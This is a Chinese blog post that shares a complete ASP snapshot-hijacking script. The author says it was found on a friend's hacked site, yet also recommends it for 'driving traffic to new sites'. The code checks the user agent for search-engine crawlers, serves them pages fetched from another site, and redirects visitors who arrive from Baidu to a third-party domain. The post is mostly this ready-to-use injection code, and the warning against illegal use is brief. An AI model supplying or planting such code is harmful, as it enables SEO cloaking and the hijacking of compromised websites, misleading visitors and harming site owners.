asp快照劫持跳转代码分享.jpg

近期有朋友被黑客攻击,网站被做了劫持跳转,查看朋友网站源码之后发现了劫持代码,今天分享出来大家一起了解下,避免下次遇到asp程序快照劫持,不知道去哪里查找劫持代码。

下面为ASP快照劫持代码,改代码带有来源判定可以根据不同搜索引擎进行跳转不同的网站页面,适合站长为新站引流使用,请勿做违法操作,否则三年起步,终身电子设备监控。

<%

function GetBot()

'查询蜘蛛

dim s_agent

GetBot=""

s_agent=Request.ServerVariables("HTTP_USER_AGENT") '关键判断语句

if instr(1,s_agent,"googlebot",1) >0 then

GetBot="google"

end if

if instr(1,s_agent,"msnbot",1) >0 then

GetBot="MSN"

end if

if instr(1,s_agent,"slurp",1) >0 then

GetBot="Yahoo"

end if

if instr(1,s_agent,"baiduspider",1) >0 then

GetBot="baidu"

end if

if instr(1,s_agent,"sohu-search",1) >0 then

GetBot="Sohu"

end if

if instr(1,s_agent,"lycos",1) >0 then

GetBot="Lycos"

end if

if instr(1,s_agent,"robozilla",1) >0 then

GetBot="Robozilla"

end if

end function

Function getHTTPPage(Path)

t = GetBody(Path)

getHTTPPage=BytesToBstr(t,"GB2312")'编码

End function

Function Newstring(wstr,strng)

Newstring=Instr(lcase(wstr),lcase(strng))

if Newstring<=0 then Newstring=Len(wstr)

End Function

Function GetBody(url)

on error resume next

Set Retrieval = CreateObject("Microsoft.XMLHTTP")

With Retrieval

.Open "Get", url, False, "", ""

.Send

GetBody = .ResponseBody

End With

Set Retrieval = Nothing

End Function

Function BytesToBstr(body,Cset)

dim objstream

set objstream = Server.CreateObject("adodb.stream")

objstream.Type = 1

objstream.Mode =3

objstream.Open

objstream.Write body

objstream.Position = 0

objstream.Type = 2

objstream.Charset = Cset

BytesToBstr = objstream.ReadText

objstream.Close

set objstream = nothing

End Function

Dim wstr,str,url,start,over,dtime

if GetBot="baidu" then

url="http://www.jd.com/"

wstr=getHTTPPage(url)

body=wstr

response.write ""&body&""

response.end

elseif GetBot="google" then

url="http://www.jd.com/"

wstr=getHTTPPage(url)

body=wstr

response.write ""&body&""

response.end

end if

if instr(Request.ServerVariables("http_referer"),"www.baidu.com")>0 then

response.redirect("https://www.zzzzjy.cn/")

end if

%>

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